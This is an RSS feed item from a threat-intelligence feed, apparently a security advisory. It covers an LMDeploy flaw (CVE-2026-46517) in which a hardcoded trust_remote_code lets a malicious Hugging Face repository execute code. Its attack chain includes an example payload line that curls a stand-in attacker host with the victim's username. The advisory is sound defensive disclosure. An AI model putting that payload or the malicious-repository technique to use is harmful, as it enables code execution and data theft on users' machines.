<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Lmdeploy — CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/lmdeploy/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Thu, 21 May 2026 19:34:00 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/lmdeploy/feed.xml" rel="self" type="application/rss+xml"/><item><title>LMDeploy Hardcoded trust_remote_code Enables Remote Code Execution (CVE-2026-46517)</title><link>https://feed.craftedsignal.io/briefs/2026-05-lmdeploy-rce/</link><pubDate>Thu, 21 May 2026 19:34:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-05-lmdeploy-rce/</guid><description>LMDeploy &lt;= 0.12.3 is vulnerable to remote code execution (CVE-2026-46517) because it hardcodes `trust_remote_code=True` when calling `transformers.AutoConfig.from_pretrained()`, allowing a malicious Hugging Face repository to execute arbitrary Python code when loaded without user opt-out.</description><content:encoded><![CDATA[<p>LMDeploy, a toolkit for large model deployment, is vulnerable due to its hardcoded <code>trust_remote_code=True</code> setting within the <code>transformers.AutoConfig.from_pretrained()</code> function calls. This bypasses the default-secure stance of Hugging Face Transformers (≥ 4.30) and allows arbitrary Python code execution when a user loads a model from a malicious Hugging Face repository. Specifically, this issue affects users running <code>lmdeploy serve api_server</code>, <code>lmdeploy lite calibrate</code>, or other related commands against untrusted repositories. The vulnerability stems from the lack of user control over the <code>trust_remote_code</code> parameter, and is tracked as CVE-2026-46517. The affected version is lmdeploy &lt;= 0.12.3.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker creates a malicious Hugging Face repository containing a <code>config.json</code> file with an <code>auto_map</code> key pointing to a custom <code>configuration_evil.py</code> file.</li>
<li>The <code>configuration_evil.py</code> file contains malicious Python code, such as <code>os.system(&quot;curl https://attacker/?$(whoami)&quot;)</code>, designed to execute when imported.</li>
<li>A user, following a tutorial or benchmarking models, runs an lmdeploy command such as <code>lmdeploy serve api_server &lt;attacker_repo&gt;</code> or <code>lmdeploy lite calibrate &lt;attacker_repo&gt;</code>.</li>
<li>LMDeploy calls <code>transformers.AutoConfig.from_pretrained(model_path, trust_remote_code=True)</code> due to the hardcoded <code>trust_remote_code=True</code> in <code>lmdeploy/archs.py</code>, <code>lmdeploy/lite/apis/calibrate.py</code>, and <code>lmdeploy/lite/utils/load.py</code>.</li>
<li>Hugging Face Transformers downloads the <code>configuration_evil.py</code> file from the malicious repository.</li>
<li>Hugging Face Transformers imports the <code>configuration_evil.py</code> module, causing the malicious Python code to execute.</li>
<li>The attacker gains code execution on the user&rsquo;s machine with the privileges of the lmdeploy process.</li>
<li>The attacker can then perform actions such as stealing credentials, installing malware, or compromising the system.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an attacker to execute arbitrary code on the victim&rsquo;s machine. The impact includes potential data theft, system compromise, and further propagation of the attack. This vulnerability affects any user of LMDeploy who loads models from untrusted sources, impacting casual users, CI pipelines, and researchers. The vulnerability exists because LMDeploy overrides Hugging Face&rsquo;s default-secure stance without providing any warning or opt-out mechanism to the user.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade to a patched version of LMDeploy that includes a CLI flag for <code>--trust-remote-code</code> defaulting to False, as described in the Suggested fix section.</li>
<li>Deploy the Sigma rule <code>Detect LMDeploy Remote Code Execution via Configuration File Import</code> to detect potential exploitation attempts by monitoring process creation events related to Python and file paths from the Hugging Face cache.</li>
<li>Exercise extreme caution when loading models from untrusted Hugging Face repositories with LMDeploy, and avoid running LMDeploy commands against repositories that have not been thoroughly vetted.</li>
<li>Monitor network connections initiated by Python processes originating from the Hugging Face Transformers cache directory, using a network connection monitoring rule.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>remote code execution</category><category>supply chain</category><category>lmdeploy</category></item></channel></rss>